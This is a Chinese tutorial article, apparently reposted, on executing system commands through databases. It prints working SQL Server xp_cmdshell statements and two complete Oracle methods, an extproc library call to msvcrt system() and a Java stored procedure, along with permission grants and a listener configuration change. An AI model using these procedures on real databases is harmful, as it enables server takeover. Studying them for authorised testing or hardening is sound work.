Oracle 任意命令执行
发布时间:2020-12-12 15:07:51 所属栏目:百科 来源:网络整理
导读:Oracle环境下执行系统命令的相关内容1、这里先提一下在SQL Server中执行系统命令的方法:执行命令的SQL语句:EXEC xp_cmdshell 'whoami'由于数据库默认的安全策略,xp_cmdshell是被禁用的,但是可以开启,不过前提是权限足够,很多时候都是直接用sa登录的,
Oracle环境下执行系统命令的相关内容 1、这里先提一下在SQL Server中执行系统命令的方法: 执行命令的SQL语句:EXEC xp_cmdshell 'whoami' 由于数据库默认的安全策略,xp_cmdshell是被禁用的,但是可以开启,不过前提是权限足够,很多时候都是直接用sa登录的,所以权限不是问题。 启用xp_cmdshell的SQL语句:EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE; 2、Oracle的sqlplus命令行客户端中的host命令说明: host是sqlplus的内置命令,作用是执行外部扩展命令,也就是执行本地系统命令,因此通过这种方式执行的是当前操作系统的命令,这就相当于是sqlplus的操作者在自己的系统上开了个cmd窗口执行命令一样,执行的并不是远程数据库所在系统的命令。 3、Oracle执行远程命令: 第一种方法: CREATE OR REPLACE LIBRARY exec_shell AS 'C:windowssystem32msvcrt.dll'; / CREATE OR REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR); end oracmd; / CREATE OR REPLACE PACKAGE BODY oracmd IS PROCEDURE exec (cmdstring IN CHAR) IS EXTERNAL NAME "system" LIBRARY exec_shell LANGUAGE C; end oracmd; / exec oracmd.exec ('whoami > D:110.txt'); 备注: 这个方法需要修改一处配置并重启数据库监听器。 具体在 C:oraclexeapporacleproduct11.2.0servernetworkADMINlistener.ora 的第6行添加 (ENVS = EXTPROC_DLLS=ANY),改成类似如下这样: SID_LIST_LISTENER = (SID_LIST = (SID_DESC = (SID_NAME = PLSExtProc) (ORACLE_HOME = C:oraclexeapporacleproduct11.2.0server) (ENVS = EXTPROC_DLLS=ANY) (PROGRAM = extproc) ) ... 说明:这种方式执行命令的原理就是通过C语言调用外部动态链接库中的api函数;考虑到还要修改配置文件,所以这种方法的通用性不如第二种方法好,就上面这个例子而言,要成功执行必须是在安装了VC运行时库的Windows系统上,因为这里就是通过调用msvcrt.dll中的system()函数实现命令执行的。不过这种方法也有一个优点,那就是在Oracle的Express版上也能用,相反第二种方法就不行。 第二种方法: create or replace and compile java source named "java_util" as import java.io.*; import java.lang.*; public class java_util extends Object { public static int RunThis(String args) { Runtime rt = Runtime.getRuntime(); int ret = -1; try { Process p = rt.exec(args); int bufSize = 4096; BufferedInputStream bis = new BufferedInputStream(p.getInputStream(),bufSize); int len; byte buffer[] = new byte[bufSize]; while ((len = bis.read(buffer,bufSize)) != -1) System.out.write(buffer,len); ret = p.waitFor(); } catch (Exception e) { e.printStackTrace(); ret = -1; } finally { return ret; } } } / create or replace function run_cmd(p_cmd in varchar2) return number as language java name 'java_util.RunThis(java.lang.String) return integer'; / create or replace procedure shell(p_cmd in varChar) as x number; begin x := run_cmd(p_cmd); end; / exec shell('whoami > D:120.txt'); 备注: 如果是在sqlplus客户端中执行以上SQL语句,则可以通过如下方法查看执行命令后返回的结果: 在执行shell存储过程之前执行以下两条语句: set serveroutput on; exec dbms_java.set_output(131072); 执行shell存储过程时可能报权限不足无法执行命令的错误,通过如下方法赋权: exec dbms_java.grant_permission( '当前登录用户名','SYS:java.io.FilePermission','<<ALL FILES>>','execute' ) 说明:这种方式执行命令的原理就是java存储过程,因此通用性非常好,渗透测试人员攻击Oracle时通常都是这样执行系统命令的。最后提一下,因为Oracle的Express版是不支持jvm的,因此这种方法在Express版上无效。 (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |